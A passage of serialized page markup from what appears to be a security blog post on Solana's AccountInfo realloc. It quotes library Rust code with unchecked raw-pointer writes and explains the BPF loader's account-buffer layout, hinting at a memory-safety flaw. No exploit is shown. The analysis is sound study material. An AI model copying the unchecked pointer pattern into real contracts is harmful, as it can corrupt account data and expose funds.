props":21606,"children":21607},{"style":624},[21608],{"type":29,"value":9821},{"type":24,"tag":271,"props":21610,"children":21611},{"style":477},[21612],{"type":29,"value":7670},{"type":24,"tag":271,"props":21614,"children":21615},{"style":288},[21616],{"type":29,"value":8823},{"type":24,"tag":271,"props":21618,"children":21619},{"style":278},[21620],{"type":29,"value":16555},{"type":24,"tag":271,"props":21622,"children":21623},{"style":624},[21624],{"type":29,"value":3895},{"type":24,"tag":271,"props":21626,"children":21627},{"style":278},[21628],{"type":29,"value":11448},{"type":24,"tag":271,"props":21630,"children":21631},{"style":3887},[21632],{"type":29,"value":13576},{"type":24,"tag":271,"props":21634,"children":21635},{"style":288},[21636],{"type":29,"value":1069},{"type":24,"tag":271,"props":21638,"children":21639},{"class":273,"line":339},[21640,21644,21649,21653,21658,21662,21666],{"type":24,"tag":271,"props":21641,"children":21642},{"style":624},[21643],{"type":29,"value":7582},{"type":24,"tag":271,"props":21645,"children":21646},{"style":630},[21647],{"type":29,"value":21648},"ptr",{"type":24,"tag":271,"props":21650,"children":21651},{"style":624},[21652],{"type":29,"value":1712},{"type":24,"tag":271,"props":21654,"children":21655},{"style":630},[21656],{"type":29,"value":21657}," new_len",{"type":24,"tag":271,"props":21659,"children":21660},{"style":278},[21661],{"type":29,"value":16541},{"type":24,"tag":271,"props":21663,"children":21664},{"style":3887},[21665],{"type":29,"value":13576},{"type":24,"tag":271,"props":21667,"children":21668},{"style":288},[21669],{"type":29,"value":1069},{"type":24,"tag":271,"props":21671,"children":21672},{"class":273,"line":347},[21673],{"type":24,"tag":271,"props":21674,"children":21675},{"emptyLinePlaceholder":16},[21676],{"type":29,"value":327},{"type":24,"tag":271,"props":21678,"children":21679},{"class":273,"line":356},[21680],{"type":24,"tag":271,"props":21681,"children":21682},{"style":2058},[21683],{"type":29,"value":21684}," // Then set the new length in the local slice\n",{"type":24,"tag":271,"props":21686,"children":21687},{"class":273,"line":365},[21688,21692,21696,21700,21704,21708,21712,21717,21721,21725,21729,21733,21738,21743,21747,21751,21755,21759,21763,21767,21771,21775,21779,21783,21787,21791,21795,21799,21803,21807,21811],{"type":24,"tag":271,"props":21689,"children":21690},{"style":278},[21691],{"type":29,"value":10800},{"type":24,"tag":271,"props":21693,"children":21694},{"style":630},[21695],{"type":29,"value":21557},{"type":24,"tag":271,"props":21697,"children":21698},{"style":624},[21699],{"type":29,"value":1712},{"type":24,"tag":271,"props":21701,"children":21702},{"style":624},[21703],{"type":29,"value":14858},{"type":24,"tag":271,"props":21705,"children":21706},{"style":278},[21707],{"type":29,"value":11448},{"type":24,"tag":271,"props":21709,"children":21710},{"style":624},[21711],{"type":29,"value":3895},{"type":24,"tag":271,"props":21713,"children":21714},{"style":288},[21715],{"type":29,"value":21716},"(((",{"type":24,"tag":271,"props":21718,"children":21719},{"style":278},[21720],{"type":29,"value":21414},{"type":24,"tag":271,"props":21722,"children":21723},{"style":624},[21724],{"type":29,"value":41},{"type":24,"tag":271,"props":21726,"children":21727},{"style":288},[21728],{"type":29,"value":8590},{"type":24,"tag":271,"props":21730,"children":21731},{"style":624},[21732],{"type":29,"value":41},{"type":24,"tag":271,"props":21734,"children":21735},{"style":598},[21736],{"type":29,"value":21737},"as_ptr",{"type":24,"tag":271,"props":21739,"children":21740},{"style":288},[21741],{"type":29,"value":21742},"() ",{"type":24,"tag":271,"props":21744,"children":21745},{"style":278},[21746],{"type":29,"value":16555},{"type":24,"tag":271,"props":21748,"children":21749},{"style":624},[21750],{"type":29,"value":3895},{"type":24,"tag":271,"props":21752,"children":21753},{"style":278},[21754],{"type":29,"value":611},{"type":24,"tag":271,"props":21756,"children":21757},{"style":3887},[21758],{"type":29,"value":13576},{"type":24,"tag":271,"props":21760,"children":21761},{"style":288},[21762],{"type":29,"value":2693},{"type":24,"tag":271,"props":21764,"children":21765},{"style":624},[21766],{"type":29,"value":41},{"type":24,"tag":271,"props":21768,"children":21769},{"style":598},[21770],{"type":29,"value":8307},{"type":24,"tag":271,"props":21772,"children":21773},{"style":288},[21774],{"type":29,"value":606},{"type":24,"tag":271,"props":21776,"children":21777},{"style":477},[21778],{"type":29,"value":156},{"type":24,"tag":271,"props":21780,"children":21781},{"style":288},[21782],{"type":29,"value":8823},{"type":24,"tag":271,"props":21784,"children":21785},{"style":278},[21786],{"type":29,"value":16555},{"type":24,"tag":271,"props":21788,"children":21789},{"style":3887},[21790],{"type":29,"value":13576},{"type":24,"tag":271,"props":21792,"children":21793},{"style":288},[21794],{"type":29,"value":8823},{"type":24,"tag":271,"props":21796,"children":21797},{"style":278},[21798],{"type":29,"value":16555},{"type":24,"tag":271,"props":21800,"children":21801},{"style":624},[21802],{"type":29,"value":3895},{"type":24,"tag":271,"props":21804,"children":21805},{"style":278},[21806],{"type":29,"value":11448},{"type":24,"tag":271,"props":21808,"children":21809},{"style":3887},[21810],{"type":29,"value":13576},{"type":24,"tag":271,"props":21812,"children":21813},{"style":288},[21814],{"type":29,"value":1155},{"type":24,"tag":271,"props":21816,"children":21817},{"class":273,"line":374},[21818,21822,21826,21830,21834,21838,21842],{"type":24,"tag":271,"props":21819,"children":21820},{"style":624},[21821],{"type":29,"value":7582},{"type":24,"tag":271,"props":21823,"children":21824},{"style":630},[21825],{"type":29,"value":21648},{"type":24,"tag":271,"props":21827,"children":21828},{"style":624},[21829],{"type":29,"value":1712},{"type":24,"tag":271,"props":21831,"children":21832},{"style":630},[21833],{"type":29,"value":21657},{"type":24,"tag":271,"props":21835,"children":21836},{"style":278},[21837],{"type":29,"value":16541},{"type":24,"tag":271,"props":21839,"children":21840},{"style":3887},[21841],{"type":29,"value":13576},{"type":24,"tag":271,"props":21843,"children":21844},{"style":288},[21845],{"type":29,"value":1069},{"type":24,"tag":271,"props":21847,"children":21848},{"class":273,"line":384},[21849],{"type":24,"tag":271,"props":21850,"children":21851},{"style":288},[21852],{"type":29,"value":4385},{"type":24,"tag":271,"props":21854,"children":21855},{"class":273,"line":393},[21856],{"type":24,"tag":271,"props":21857,"children":21858},{"emptyLinePlaceholder":16},[21859],{"type":29,"value":327},{"type":24,"tag":271,"props":21861,"children":21862},{"class":273,"line":402},[21863],{"type":24,"tag":271,"props":21864,"children":21865},{"style":2058},[21866],{"type":29,"value":21867}," // zero-init if requested\n",{"type":24,"tag":271,"props":21869,"children":21870},{"class":273,"line":411},[21871,21875,21880,21884,21888,21893,21897],{"type":24,"tag":271,"props":21872,"children":21873},{"style":749},[21874],{"type":29,"value":5025},{"type":24,"tag":271,"props":21876,"children":21877},{"style":630},[21878],{"type":29,"value":21879}," zero_init",{"type":24,"tag":271,"props":21881,"children":21882},{"style":624},[21883],{"type":29,"value":989},{"type":24,"tag":271,"props":21885,"children":21886},{"style":630},[21887],{"type":29,"value":21657},{"type":24,"tag":271,"props":21889,"children":21890},{"style":624},[21891],{"type":29,"value":21892}," >",{"type":24,"tag":271,"props":21894,"children":21895},{"style":630},[21896],{"type":29,"value":21488},{"type":24,"tag":271,"props":21898,"children":21899},{"style":288},[21900],{"type":29,"value":7145},{"type":24,"tag":271,"props":21902,"children":21903},{"class":273,"line":420},[21904,21909],{"type":24,"tag":271,"props":21905,"children":21906},{"style":598},[21907],{"type":29,"value":21908}," sol_memset",{"type":24,"tag":271,"props":21910,"children":21911},{"style":288},[21912],{"type":29,"value":4028},{"type":24,"tag":271,"props":21914,"children":21915},{"class":273,"line":429},[21916,21920,21924,21928,21932,21936,21940,21944,21948,21953,21957],{"type":24,"tag":271,"props":21917,"children":21918},{"style":624},[21919],{"type":29,"value":15401},{"type":24,"tag":271,"props":21921,"children":21922},{"style":278},[21923],{"type":29,"value":11448},{"type":24,"tag":271,"props":21925,"children":21926},{"style":278},[21927],{"type":29,"value":21497},{"type":24,"tag":271,"props":21929,"children":21930},{"style":624},[21931],{"type":29,"value":41},{"type":24,"tag":271,"props":21933,"children":21934},{"style":598},[21935],{"type":29,"value":21574},{"type":24,"tag":271,"props":21937,"children":21938},{"style":288},[21939],{"type":29,"value":21579},{"type":24,"tag":271,"props":21941,"children":21942},{"style":624},[21943],{"type":29,"value":10887},{"type":24,"tag":271,"props":21945,"children":21946},{"style":288},[21947],{"type":29,"value":4520},{"type":24,"tag":271,"props":21949,"children":21950},{"style":630},[21951],{"type":29,"value":21952},"orig_len",{"type":24,"tag":271,"props":21954,"children":21955},{"style":624},[21956],{"type":29,"value":10787},{"type":24,"tag":271,"props":21958,"children":21959},{"style":288},[21960],{"type":29,"value":21961},"],\n",{"type":24,"tag":271,"props":21963,"children":21964},{"class":273,"line":438},[21965,21970],{"type":24,"tag":271,"props":21966,"children":21967},{"style":477},[21968],{"type":29,"value":21969}," 0",{"type":24,"tag":271,"props":21971,"children":21972},{"style":288},[21973],{"type":29,"value":638},{"type":24,"tag":271,"props":21975,"children":21976},{"class":273,"line":447},[21977,21982,21986,21991,21995,21999],{"type":24,"tag":271,"props":21978,"children":21979},{"style":630},[21980],{"type":29,"value":21981}," new_len",{"type":24,"tag":271,"props":21983,"children":21984},{"style":624},[21985],{"type":29,"value":41},{"type":24,"tag":271,"props":21987,"children":21988},{"style":598},[21989],{"type":29,"value":21990},"saturating_sub",{"type":24,"tag":271,"props":21992,"children":21993},{"style":288},[21994],{"type":29,"value":606},{"type":24,"tag":271,"props":21996,"children":21997},{"style":630},[21998],{"type":29,"value":21952},{"type":24,"tag":271,"props":22000,"children":22001},{"style":288},[22002],{"type":29,"value":14453},{"type":24,"tag":271,"props":22004,"children":22005},{"class":273,"line":455},[22006],{"type":24,"tag":271,"props":22007,"children":22008},{"style":288},[22009],{"type":29,"value":15460},{"type":24,"tag":271,"props":22011,"children":22012},{"class":273,"line":464},[22013],{"type":24,"tag":271,"props":22014,"children":22015},{"style":288},[22016],{"type":29,"value":4385},{"type":24,"tag":271,"props":22018,"children":22019},{"class":273,"line":473},[22020],{"type":24,"tag":271,"props":22021,"children":22022},{"emptyLinePlaceholder":16},[22023],{"type":29,"value":327},{"type":24,"tag":271,"props":22025,"children":22026},{"class":273,"line":483},[22027,22032],{"type":24,"tag":271,"props":22028,"children":22029},{"style":3887},[22030],{"type":29,"value":22031}," Ok",{"type":24,"tag":271,"props":22033,"children":22034},{"style":288},[22035],{"type":29,"value":22036},"(())\n",{"type":24,"tag":271,"props":22038,"children":22039},{"class":273,"line":491},[22040],{"type":24,"tag":271,"props":22041,"children":22042},{"style":288},[22043],{"type":29,"value":1171},{"type":24,"tag":25,"props":22045,"children":22046},{},[22047,22049,22055,22057,22062],{"type":29,"value":22048},"Oh. There's ",{"type":24,"tag":135,"props":22050,"children":22052},{"className":22051},[],[22053],{"type":29,"value":22054},"unsafe",{"type":29,"value":22056},". And no bounds check in sight. ",{"type":24,"tag":10648,"props":22058,"children":22059},{},[22060],{"type":29,"value":22061},"And",{"type":29,"value":22063}," pointer math. That doesn't look promising...",{"type":24,"tag":62,"props":22065,"children":22067},{"id":22066},"breaking-down-realloc",[22068,22070],{"type":29,"value":22069},"Breaking down ",{"type":24,"tag":135,"props":22071,"children":22073},{"className":22072},[],[22074],{"type":29,"value":21339},{"type":24,"tag":25,"props":22076,"children":22077},{},[22078,22080,22085],{"type":29,"value":22079},"Let's pick apart this ",{"type":24,"tag":135,"props":22081,"children":22083},{"className":22082},[],[22084],{"type":29,"value":22054},{"type":29,"value":22086}," block, since there's a lot going on here.",{"type":24,"tag":261,"props":22088,"children":22090},{"className":10718,"code":22089,"language":10717,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[22091],{"type":24,"tag":135,"props":22092,"children":22093},{"__ignoreMap":7},[22094,22102,22189],{"type":24,"tag":271,"props":22095,"children":22096},{"class":273,"line":274},[22097],{"type":24,"tag":271,"props":22098,"children":22099},{"style":2058},[22100],{"type":29,"value":22101},"// First set new length in the serialized data\n",{"type":24,"tag":271,"props":22103,"children":22104},{"class":273,"line":284},[22105,22109,22113,22117,22121,22125,22129,22133,22137,22141,22145,22149,22153,22157,22161,22165,22169,22173,22177,22181,22185],{"type":24,"tag":271,"props":22106,"children":22107},{"style":278},[22108],{"type":29,"value":19490},{"type":24,"tag":271,"props":22110,"children":22111},{"style":630},[22112],{"type":29,"value":21557},{"type":24,"tag":271,"props":22114,"children":22115},{"style":624},[22116],{"type":29,"value":1712},{"type":24,"tag":271,"props":22118,"children":22119},{"style":278},[22120],{"type":29,"value":21497},{"type":24,"tag":271,"props":22122,"children":22123},{"style":624},[22124],{"type":29,"value":41},{"type":24,"tag":271,"props":22126,"children":22127},{"style":598},[22128],{"type":29,"value":21574},{"type":24,"tag":271,"props":22130,"children":22131},{"style":288},[22132],{"type":29,"value":21579},{"type":24,"tag":271,"props":22134,"children":22135},{"style":624},[22136],{"type":29,"value":10865},{"type":24,"tag":271,"props":22138,"children":22139},{"style":598},[22140],{"type":29,"value":21588},{"type":24,"tag":271,"props":22142,"children":22143},{"style":288},[22144],{"type":29,"value":21579},{"type":24,"tag":271,"props":22146,"children":22147},{"style":624},[22148],{"type":29,"value":41},{"type":24,"tag":271,"props":22150,"children":22151},{"style":598},[22152],{"type":29,"value":8307},{"type":24,"tag":271,"props":22154,"children":22155},{"style":288},[22156],{"type":29,"value":606},{"type":24,"tag":271,"props":22158,"children":22159},{"style":624},[22160],{"type":29,"value":9821},{"type":24,"tag":271,"props":22162,"children":22163},{"style":477},[22164],{"type":29,"value":7670},{"type":24,"tag":271,"props":22166,"children":22167},{"style":288},[22168],{"type":29,"value":8823},{"type":24,"tag":271,"props":22170,"children":22171},{"style":278},[22172],{"type":29,"value":16555},{"type":24,"tag":271,"props":22174,"children":22175},{"style":624},[22176],{"type":29,"value":3895},{"type":24,"tag":271,"props":22178,"children":22179},{"style":278},[22180],{"type":29,"value":11448},{"type":24,"tag":271,"props":22182,"children":22183},{"style":3887},[22184],{"type":29,"value":13576},{"type":24,"tag":271,"props":22186,"children":22187},{"style":288},[22188],{"type":29,"value":1069},{"type":24,"tag":271,"props":22190,"children":22191},{"class":273,"line":294},[22192,22196,22200,22204,22208,22212,22216],{"type":24,"tag":271,"props":22193,"children":22194},{"style":624},[22195],{"type":29,"value":627},{"type":24,"tag":271,"props":22197,"children":22198},{"style":630},[22199],{"type":29,"value":21648},{"type":24,"tag":271,"props":22201,"children":22202},{"style":624},[22203],{"type":29,"value":1712},{"type":24,"tag":271,"props":22205,"children":22206},{"style":630},[22207],{"type":29,"value":21657},{"type":24,"tag":271,"props":22209,"children":22210},{"style":278},[22211],{"type":29,"value":16541},{"type":24,"tag":271,"props":22213,"children":22214},{"style":3887},[22215],{"type":29,"value":13576},{"type":24,"tag":271,"props":22217,"children":22218},{"style":288},[22219],{"type":29,"value":1069},{"type":24,"tag":25,"props":22221,"children":22222},{},[22223,22228],{"type":24,"tag":135,"props":22224,"children":22226},{"className":22225},[],[22227],{"type":29,"value":21574},{"type":29,"value":22229}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":85,"props":22231,"children":22233},{"id":22232},"bpf-loader-abi",[22234],{"type":29,"value":22235},"BPF Loader ABI",{"type":24,"tag":25,"props":22237,"children":22238},{},[22239,22241,22246,22248,22261],{"type":29,"value":22240},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":135,"props":22242,"children":22244},{"className":22243},[],[22245],{"type":29,"value":21354},{"type":29,"value":22247},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":32,"props":22249,"children":22252},{"href":22250,"rel":22251},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[36],[22253,22259],{"type":24,"tag":135,"props":22254,"children":22256},{"className":22255},[],[22257],{"type":29,"value":22258},"entrypoint!",{"type":29,"value":22260}," macro",{"type":29,"value":12210},{"type":24,"tag":261,"props":22263,"children":22265},{"className":10718,"code":22264,"language":10717,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[22266],{"type":24,"tag":135,"props":22267,"children":22268},{"__ignoreMap":7},[22269,22277,22349,22392,22444,22502,22545,22588,22595],{"type":24,"tag":271,"props":22270,"children":22271},{"class":273,"line":274},[22272],{"type":24,"tag":271,"props":22273,"children":22274},{"style":288},[22275],{"type":29,"value":22276},"#[no_mangle]\n",{"type":24,"tag":271,"props":22278,"children":22279},{"class":273,"line":284},[22280,22284,22289,22294,22299,22303,22308,22312,22316,22320,22324,22328,22333,22337,22341,22345],{"type":24,"tag":271,"props":22281,"children":22282},{"style":278},[22283],{"type":29,"value":21391},{"type":24,"tag":271,"props":22285,"children":22286},{"style":278},[22287],{"type":29,"value":22288}," unsafe",{"type":24,"tag":271,"props":22290,"children":22291},{"style":278},[22292],{"type":29,"value":22293}," extern",{"type":24,"tag":271,"props":22295,"children":22296},{"style":378},[22297],{"type":29,"value":22298}," \"C\"",{"type":24,"tag":271,"props":22300,"children":22301},{"style":278},[22302],{"type":29,"value":21396},{"type":24,"tag":271,"props":22304,"children":22305},{"style":598},[22306],{"type":29,"value":22307}," entrypoint",{"type":24,"tag":271,"props":22309,"children":22310},{"style":288},[22311],{"type":29,"value":606},{"type":24,"tag":271,"props":22313,"children":22314},{"style":630},[22315],{"type":29,"value":16082},{"type":24,"tag":271,"props":22317,"children":22318},{"style":624},[22319],{"type":29,"value":12210},{"type":24,"tag":271,"props":22321,"children":22322},{"style":624},[22323],{"type":29,"value":3895},{"type":24,"tag":271,"props":22325,"children":22326},{"style":278},[22327],{"type":29,"value":11448},{"type":24,"tag":271,"props":22329,"children":22330},{"style":3887},[22331],{"type":29,"value":22332}," u8",{"type":24,"tag":271,"props":22334,"children":22335},{"style":288},[22336],{"type":29,"value":8823},{"type":24,"tag":271,"props":22338,"children":22339},{"style":624},[22340],{"type":29,"value":786},{"type":24,"tag":271,"props":22342,"children":22343},{"style":3887},[22344],{"type":29,"value":13576},{"type":24,"tag":271,"props":22346,"children":22347},{"style":288},[22348],{"type":29,"value":7145},{"type":24,"tag":271,"props":22350,"children":22351},{"class":273,"line":294},[22352,22356,22360,22365,22369,22374,22378,22383,22387],{"type":24,"tag":271,"props":22353,"children":22354},{"style":278},[22355],{"type":29,"value":10738},{"type":24,"tag":271,"props":22357,"children":22358},{"style":288},[22359],{"type":29,"value":1357},{"type":24,"tag":271,"props":22361,"children":22362},{"style":630},[22363],{"type":29,"value":22364},"program_id",{"type":24,"tag":271,"props":22366,"children":22367},{"style":288},[22368],{"type":29,"value":158},{"type":24,"tag":271,"props":22370,"children":22371},{"style":630},[22372],{"type":29,"value":22373},"accounts",{"type":24,"tag":271,"props":22375,"children":22376},{"style":288},[22377],{"type":29,"value":158},{"type":24,"tag":271,"props":22379,"children":22380},{"style":630},[22381],{"type":29,"value":22382},"instruction_data",{"type":24,"tag":271,"props":22384,"children":22385},{"style":288},[22386],{"type":29,"value":8823},{"type":24,"tag":271,"props":22388,"children":22389},{"style":624},[22390],{"type":29,"value":22391},"=\n",{"type":24,"tag":271,"props":22393,"children":22394},{"class":273,"line":303},[22395,22400,22404,22408,22413,22417,22422,22426,22431,22435,22439],{"type":24,"tag":271,"props":22396,"children":22397},{"style":278},[22398],{"type":29,"value":22399}," unsafe",{"type":24,"tag":271,"props":22401,"children":22402},{"style":288},[22403],{"type":29,"value":17293},{"type":24,"tag":271,"props":22405,"children":22406},{"style":624},[22407],{"type":29,"value":17993},{"type":24,"tag":271,"props":22409,"children":22410},{"style":278},[22411],{"type":29,"value":22412},"crate",{"type":24,"tag":271,"props":22414,"children":22415},{"style":624},[22416],{"type":29,"value":11207},{"type":24,"tag":271,"props":22418,"children":22419},{"style":288},[22420],{"type":29,"value":22421},"entrypoint",{"type":24,"tag":271,"props":22423,"children":22424},{"style":624},[22425],{"type":29,"value":11207},{"type":24,"tag":271,"props":22427,"children":22428},{"style":598},[22429],{"type":29,"value":22430},"deserialize",{"type":24,"tag":271,"props":22432,"children":22433},{"style":288},[22434],{"type":29,"value":606},{"type":24,"tag":271,"props":22436,"children":22437},{"style":630},[22438],{"type":29,"value":16082},{"type":24,"tag":271,"props":22440,"children":22441},{"style":288},[22442],{"type":29,"value":22443},") };\n",{"type":24,"tag":271,"props":22445,"children":22446},{"class":273,"line":312},[22447,22452,22457,22462,22466,22470,22474,22478,22482,22486,22490,22494,22498],{"type":24,"tag":271,"props":22448,"children":22449},{"style":749},[22450],{"type":29,"value":22451}," match",{"type":24,"tag":271,"props":22453,"children":22454},{"style":624},[22455],{"type":29,"value":22456}," $",{"type":24,"tag":271,"props":22458,"children":22459},{"style":630},[22460],{"type":29,"value":22461},"process_instruction",{"type":24,"tag":271,"props":22463,"children":22464},{"style":288},[22465],{"type":29,"value":606},{"type":24,"tag":271,"props":22467,"children":22468},{"style":624},[22469],{"type":29,"value":1137},{"type":24,"tag":271,"props":22471,"children":22472},{"style":630},[22473],{"type":29,"value":22364},{"type":24,"tag":271,"props":22475,"children":22476},{"style":288},[22477],{"type":29,"value":158},{"type":24,"tag":271,"props":22479,"children":22480},{"style":624},[22481],{"type":29,"value":1137},{"type":24,"tag":271,"props":22483,"children":22484},{"style":630},[22485],{"type":29,"value":22373},{"type":24,"tag":271,"props":22487,"children":22488},{"style":288},[22489],{"type":29,"value":158},{"type":24,"tag":271,"props":22491,"children":22492},{"style":624},[22493],{"type":29,"value":1137},{"type":24,"tag":271,"props":22495,"children":22496},{"style":630},[22497],{"type":29,"value":22382},{"type":24,"tag":271,"props":22499,"children":22500},{"style":288},[22501],{"type":29,"value":919},{"type":24,"tag":271,"props":22503,"children":22504},{"class":273,"line":321},[22505,22510,22515,22520,22524,22528,22532,22536,22540],{"type":24,"tag":271,"props":22506,"children":22507},{"style":3887},[22508],{"type":29,"value":22509}," Ok",{"type":24,"tag":271,"props":22511,"children":22512},{"style":288},[22513],{"type":29,"value":22514},"(()) ",{"type":24,"tag":271,"props":22516,"children":22517},{"style":624},[22518],{"type":29,"value":22519},"=>",{"type":24,"tag":271,"props":22521,"children":22522},{"style":624},[22523],{"type":29,"value":22456},{"type":24,"tag":271,"props":22525,"children":22526},{"style":278},[22527],{"type":29,"value":22412},{"type":24,"tag":271,"props":22529,"children":22530},{"style":624},[22531],{"type":29,"value":11207},{"type":24,"tag":271,"props":22533,"children":22534},{"style":288},[22535],{"type":29,"value":22421},{"type":24,"tag":271,"props":22537,"children":22538},{"style":624},[22539],{"type":29,"value":11207},{"type":24,"tag":271,"props":22541,"children":22542},{"style":288},[22543],{"type":29,"value":22544},"SUCCESS,\n",{"type":24,"tag":271,"props":22546,"children":22547},{"class":273,"line":330},[22548,22553,22557,22562,22566,22570,22575,22579,22584],{"type":24,"tag":271,"props":22549,"children":22550},{"style":3887},[22551],{"type":29,"value":22552}," Err",{"type":24,"tag":271,"props":22554,"children":22555},{"style":288},[22556],{"type":29,"value":606},{"type":24,"tag":271,"props":22558,"children":22559},{"style":630},[22560],{"type":29,"value":22561},"error",{"type":24,"tag":271,"props":22563,"children":22564},{"style":288},[22565],{"type":29,"value":8823},{"type":24,"tag":271,"props":22567,"children":22568},{"style":624},[22569],{"type":29,"value":22519},{"type":24,"tag":271,"props":22571,"children":22572},{"style":630},[22573],{"type":29,"value":22574}," error",{"type":24,"tag":271,"props":22576,"children":22577},{"style":624},[22578],{"type":29,"value":41},{"type":24,"tag":271,"props":22580,"children":22581},{"style":598},[22582],{"type":29,"value":22583},"into",{"type":24,"tag":271,"props":22585,"children":22586},{"style":288},[22587],{"type":29,"value":11217},{"type":24,"tag":271,"props":22589,"children":22590},{"class":273,"line":339},[22591],{"type":24,"tag":271,"props":22592,"children":22593},{"style":288},[22594],{"type":29,"value":4385},{"type":24,"tag":271,"props":22596,"children":22597},{"class":273,"line":347},[22598],{"type":24,"tag":271,"props":22599,"children":22600},{"style":288},[22601],{"type":29,"value":1171},{"type":24,"tag":25,"props":22603,"children":22604},{},[22605,22607,22612,22614,22620,22622,22629,22631,22637,22639,22646],{"type":29,"value":22606},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":135,"props":22608,"children":22610},{"className":22609},[],[22611],{"type":29,"value":11148},{"type":29,"value":22613}," buffer in from the loader, and calls ",{"type":24,"tag":135,"props":22615,"children":22617},{"className":22616},[],[22618],{"type":29,"value":22619},"solana_program::entrypoint::deserialize",{"type":29,"value":22621},", which then ",{"type":24,"tag":32,"props":22623,"children":22626},{"href":22624,"rel":22625},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[36],[22627],{"type":29,"value":22628},"parses out",{"type":29,"value":22630}," all the ",{"type":24,"tag":135,"props":22632,"children":22634},{"className":22633},[],[22635],{"type":29,"value":22636},"AccountInfo",{"type":29,"value":22638},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":32,"props":22640,"children":22643},{"href":22641,"rel":22642},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[36],[22644],{"type":29,"value":22645},"laid out",{"type":29,"value":12210},{"type":24,"tag":261,"props":22648,"children":22650},{"className":10718,"code":22649,"language":10717,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[22651],{"type":24,"tag":135,"props":22652,"children":22653},{"__ignoreMap":7},[22654,22671,22751,22784,22791,22838,22883,22891,22915],{"type":24,"tag":271,"props":22655,"children":22656},{"class":273,"line":274},[22657,22662,22666],{"type":24,"tag":271,"props":22658,"children":22659},{"style":288},[22660],{"type":29,"value":22661},"#[allow(clippy",{"type":24,"tag":271,"props":22663,"children":22664},{"style":624},[22665],{"type":29,"value":11207},{"type":24,"tag":271,"props":22667,"children":22668},{"style":288},[22669],{"type":29,"value":22670},"cast_ptr_alignment)]\n",{"type":24,"tag":271,"props":22672,"children":22673},{"class":273,"line":284},[22674,22678,22683,22687,22691,22695,22699,22703,22707,22711,22715,22719,22723,22727,22731,22735,22739,22743,22747],{"type":24,"tag":271,"props":22675,"children":22676},{"style":278},[22677],{"type":29,"value":19490},{"type":24,"tag":271,"props":22679,"children":22680},{"style":630},[22681],{"type":29,"value":22682}," data_len",{"type":24,"tag":271,"props":22684,"children":22685},{"style":624},[22686],{"type":29,"value":1712},{"type":24,"tag":271,"props":22688,"children":22689},{"style":624},[22690],{"type":29,"value":3895},{"type":24,"tag":271,"props":22692,"children":22693},{"style":288},[22694],{"type":29,"value":606},{"type":24,"tag":271,"props":22696,"children":22697},{"style":630},[22698],{"type":29,"value":16082},{"type":24,"tag":271,"props":22700,"children":22701},{"style":624},[22702],{"type":29,"value":41},{"type":24,"tag":271,"props":22704,"children":22705},{"style":598},[22706],{"type":29,"value":17344},{"type":24,"tag":271,"props":22708,"children":22709},{"style":288},[22710],{"type":29,"value":606},{"type":24,"tag":271,"props":22712,"children":22713},{"style":630},[22714],{"type":29,"value":8307},{"type":24,"tag":271,"props":22716,"children":22717},{"style":288},[22718],{"type":29,"value":8823},{"type":24,"tag":271,"props":22720,"children":22721},{"style":278},[22722],{"type":29,"value":16555},{"type":24,"tag":271,"props":22724,"children":22725},{"style":624},[22726],{"type":29,"value":3895},{"type":24,"tag":271,"props":22728,"children":22729},{"style":278},[22730],{"type":29,"value":611},{"type":24,"tag":271,"props":22732,"children":22733},{"style":3887},[22734],{"type":29,"value":13576},{"type":24,"tag":271,"props":22736,"children":22737},{"style":288},[22738],{"type":29,"value":8823},{"type":24,"tag":271,"props":22740,"children":22741},{"style":278},[22742],{"type":29,"value":16555},{"type":24,"tag":271,"props":22744,"children":22745},{"style":3887},[22746],{"type":29,"value":21432},{"type":24,"tag":271,"props":22748,"children":22749},{"style":288},[22750],{"type":29,"value":1069},{"type":24,"tag":271,"props":22752,"children":22753},{"class":273,"line":294},[22754,22758,22763,22768,22772,22776,22780],{"type":24,"tag":271,"props":22755,"children":22756},{"style":630},[22757],{"type":29,"value":8307},{"type":24,"tag":271,"props":22759,"children":22760},{"style":624},[22761],{"type":29,"value":22762}," +=",{"type":24,"tag":271,"props":22764,"children":22765},{"style":598},[22766],{"type":29,"value":22767}," size_of",{"type":24,"tag":271,"props":22769,"children":22770},{"style":624},[22771],{"type":29,"value":11207},{"type":24,"tag":271,"props":22773,"children":22774},{"style":288},[22775],{"type":29,"value":801},{"type":24,"tag":271,"props":22777,"children":22778},{"style":3887},[22779],{"type":29,"value":15757},{"type":24,"tag":271,"props":22781,"children":22782},{"style":288},[22783],{"type":29,"value":16167},{"type":24,"tag":271,"props":22785,"children":22786},{"class":273,"line":303},[22787],{"type":24,"tag":271,"props":22788,"children":22789},{"emptyLinePlaceholder":16},[22790],{"type":29,"value":327},{"type":24,"tag":271,"props":22792,"children":22793},{"class":273,"line":312},[22794,22798,22802,22806,22811,22815,22820,22825,22829,22833],{"type":24,"tag":271,"props":22795,"children":22796},{"style":278},[22797],{"type":29,"value":19490},{"type":24,"tag":271,"props":22799,"children":22800},{"style":630},[22801],{"type":29,"value":8123},{"type":24,"tag":271,"props":22803,"children":22804},{"style":624},[22805],{"type":29,"value":1712},{"type":24,